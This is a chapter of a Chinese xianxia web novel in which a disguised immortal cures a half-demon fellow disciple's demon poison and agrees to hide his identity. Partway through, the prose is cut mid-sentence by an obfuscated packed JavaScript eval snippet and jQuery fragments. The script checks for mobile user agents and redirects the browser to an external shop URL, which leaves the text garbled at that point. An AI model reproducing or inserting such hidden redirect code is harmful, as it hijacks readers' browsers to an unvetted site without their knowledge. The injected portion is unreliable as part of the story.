听到熟悉的声音,陈善舟知道又是那个烦人的小师妹来了。
可惜他现在被妖毒侵蚀得完全动不了,连说话的力气都所剩无几。
李见水抬头看了眼天上的圆月,再回看他反常的状态,当即拉过他的手探查一番。
骤然的凉意传来,陈善舟被刺激得下意识想甩开手,声音嘶哑无比:
“别碰我……”
可惜他此时的力气不如李见水,自己的手腕被稳稳握住,撼动不了分毫。
陈善舟抬眸恨恨地看着她,心想着若是这人想要杀他,那他不介意和她鱼死网破。
李见水轻轻地叹了口气:
“你身负妖毒,每到月圆之夜便会发作,如今毒素已深入五脏六腑,若再不将体内妖毒清出,恐怕不待旁人出手,你便要被灼烧至尽了。”
陈善舟瞪大双眼,不可置信地望着她。
她怎会知晓得如此清楚?
“不用……你管……”
生死之际,这小子依旧嘴硬得很。
李见水看他痛苦万分,虽然嘴上说着不要她帮忙,实际上比任何人都想要活着。
她拿出七魂,握在手心。
“得亏你今夜遇见的是我,否则无人能救你。”
她将自己的一缕神力从七魂中抽出,自己的修为暂时恢复至仙神期,可用上界的力量。
一点点七色光芒自她指尖生起,化作朦胧的光丝,缓慢向陈善舟体内流去。
李见水的后背生出几条虚幻的绫带,带着上界的灵力,所过之处枯木逢春。
仙君使用神力时会产生天地异象,天上一只洁白无瑕的神鹿缓缓走向圆月中央,用它的身子遮住了大部分灼热的月辉。
陈善舟迷迷糊糊中看见李见水的脸似乎有些变化,变得清冷淡漠。
但那双淡金色的眸子,却带着一丝悲悯。
恍惚间,他又置身于黑暗中。
陈善舟站在原地并未走动,很快便出现一位红衣如火的女人,她指着陈善舟骂,但离得太远根本听不清她在骂什么。
紧接着又出现一位没有面容的白衣男子,他拿着一把锈迹斑斑的剑轻轻抚摸着。
最后一位是一个背影。
身着素衣的女人背对着他,墨发上只戴有一件简朴的木簪,手中握着一把水做的剑。
“可怜……”
女人似乎说了什么,他来不及听清楚,便被人揪出了这个古怪的地方。
刚睁眼就看见李见水那张满是笑意的脸,陈善舟回想起方才的情景,神色顿时有些不自在。
李见水早在他醒来前便收起七魂,这东西还有五次可用,要不是看他体内的妖毒太过霸道,本来还用不上自己的神力的。
“感觉如何?”
李见水歪头轻声问道。
那一刹那,陈善舟感觉自己的呼吸变得有些凌乱而急促,他努力压下心中那股怪异的情愫。
他抿了抿唇,撇过头去,声音闷闷的:
“多谢……”
“不过,你是怎么解了我的……妖毒的?”
李见水扬了扬手中的解毒丹,想着少年也不过十五六岁,便可劲儿忽悠他:
“这个嘛,自然是我师尊给的解毒丹啦。这可是仙品丹药,难道还解不了你的妖毒?”
陈善舟半信半疑:“我的妖毒是——”
看着那隐隐散发着仙气的解毒丹,陈善舟暂时放弃了深究的想法,也没有过多解释体内妖毒从何而来。
他艰难从地上爬起,简单地拍了拍身上沾染的草叶泥土,对着李见水再次道谢:
“小师妹……不管如何,今日多谢你了。日后若有什么需要帮忙的,尽管找我便是。”
语气依旧不情不愿的,那迫切的眼神简直就是在告诉李见水:
——快找我帮忙,我们之间尽快两清。
李见水“噗哧”笑出声来,少女清越的声音在这寂静的风竹林显得格外空灵:
“小师兄,那你现在答应我一件事可好?”
陈善舟格外警惕,那双平日里无辜又倔强的眼眸此时盛满危机,仿佛她李见水是什么贼人。
不知为何,李见水每次见着他总想要逗一逗他,好满足自己的私欲。
她瞥了一眼陈善舟腰间挂着的香囊。
陈善舟以为她在打什么坏主意,赶忙捂好自己的香囊,皱眉看着她。
李见水也只是逗逗他,又不是真对他覆有妖族血印的香囊感兴趣,便说道:
“我希望小师兄你答应我——”
“若是行得大道,切莫被过去阴霾遮蔽双眼。”
李见水不知道他为何如此恨自己。
也不清楚他有着怎样沉痛的过去。
但她不希望这个本该肆意张扬的少年郎永远活在仇恨之中。
她明白这或许有些自私。
可人若是被锢于过去,便无法再向前行进。
闻言,陈善舟的脸色霎时间沉下来。
他猛地转身,背对着李见水,情绪不明:
“你懂什么?你从未经历过我的事,又怎么会明白我心中的痛?你如此轻飘飘——”
“你又怎知我未曾经受过那样的痛?”
李见水缓步走向他,绕到少年的前方站定,与他那双充满恨意的眸子对视。
她看着他,一字一句温和地说道:
“他们曾经也是这样轻飘飘地跟我说,你做了错事,理应受罚。”
“当时的我难以反抗,只能被迫顺从……目睹自己所在意的被他人夺去,等待自己将来命中注定的劫数。”
“你与我说这些做什么?”
陈善舟的语气稍微缓和了点,他看着眼前和他差不多高的少女,手指不自觉地攥紧。
李见水莞尔一笑,神色温柔如水,身上还未来得及换下的月白色衣裙在夜风下微微飘动,像是从上界下凡的仙人。
她的思绪飘过远方,却还是极为认真地回答了他:
“后来我想明白了些,不可忘却苦痛,也不可被它绊住了心神。被困在过去的人永远也无法向前走,所行之事也将无缘终局。”
“小师兄天赋异禀,身为师妹的我,不想你被埋没了呀。”
陈善舟呼吸一重,脸颊泛起红晕,幸好藏于夜色中,李见水难以看清。
“你这人……说话好生奇怪。”
李见水又是一声轻笑,什么也没说。
陈善舟罕见地没着急走,他停在原地不知在纠结着什么,面色阴沉沉的。
纠结了片刻,他终于试探性地说道:
“今日之事,还望师妹替我保密。”
李见水挑了挑眉:“保密?指的是你身负妖毒还是半妖身份?”
陈善舟眼神一凛,想到李见水的身份
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103208|195768||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以及自己的把柄还握在她手中,终究是压下了怒气:
“若我身份暴露,宗门定不容我,还望师妹帮我这一回,日后我必定会好生报答!”
“你并非魔族,宗门怎得容不下你?”
李见水自是奇怪,她做掌门时,宗门内还收了一些妖族弟子。
怎么如今妖族还需要藏头露尾的了?
陈善舟听罢,以为她在找茬,面上已经维持不住阴冷嘲讽的神情:
“你到底在说什么?你们人族不是最清楚么?不管是正道修士还是人族,都容不下像妖族这样的……异类。”
李见水眼眸微眯,目光落在陈善舟身上久久没有离开。
她的思绪早已飞回到过去。
如今的修真界已将妖族归为“异类”了么?
正道修士……那其他修士呢?统称为邪修?
这么想着,李见水不自觉地问了出来,陈善舟看她的眼神更为怪异,如同在看一个傻子。
“妖鬼魔三族修士都是邪修,连踏上不周山登仙梯的资格都没有。修真界更是对我们极尽嫌恶,我们哪怕站在那里什么也不做,他们也要对我们赶尽杀绝。”
“而这一切,都是那个仙君的授意。”
“她恨不得让修真界只剩下人族。”
又是莫须有的罪名。
李见水有些心累,毕竟她从未做过这些事,不周山更不是她能管辖到的。
可偏偏这少年打心底里认定这种有近乎屠戮的事是她做的。
“放心,我不是那种多嘴的人。”
陈善舟依旧没有放下戒备,但想到困扰自己多年的妖毒被解,心里对这个有些聒噪的小师妹还是有些改观的。
但她说的话他一个字都不会听。
他是因为恨意才活到现在的。
每到夜晚,那些小妖绝望痛苦的面容就会浮现在他的脑海里,他们哭喊着救命的声音萦绕在他的耳边。
他不得不去记住,记住这些枉死的妖,记住那些残暴的修士,记住那个伪善的仙君。
临走之际,陈善舟忽然停下。
他回头,看着李见水问道:
“我……我想知道师妹的姓名。”
说出来他自己都觉得有些羞愧,但事实确实如此,他只知道这少女是他的师妹,却不知晓她的真实姓名。
李见水呆愣片刻,眼中闪过一丝茫然。
很快她便恢复常态,笑着回道:
“我姓李,名见水,水是天上水的意思。”
“我知道了。”
陈善舟离去后,李见水留在原地,抬手清理了地上残留的血迹。
望着少年孤苦倔强的背影,李见水浅墨色的眼眸中闪过一丝惆怅。
“莫要生了心魔才是。”
李见水声若蚊呐,最后一个尾音落在空中随风飘散,无人知晓。
七魂的光减弱了些,里面闪动的五颗小光球表明,它还有五次使用机会,李见水也不心疼。
替陈善舟解了这么凶狠的妖毒,也算是做了一件好事,不愧为仙君之名。
李见水微微抬头望向天空,目光仿佛穿透苍穹,直直地射向九重天上那个至高无上的神。
神仙会看下界吗?
不,不会看的。
她做神仙的时候,根本看不清下界。
李见水收回目光,离开了风竹林。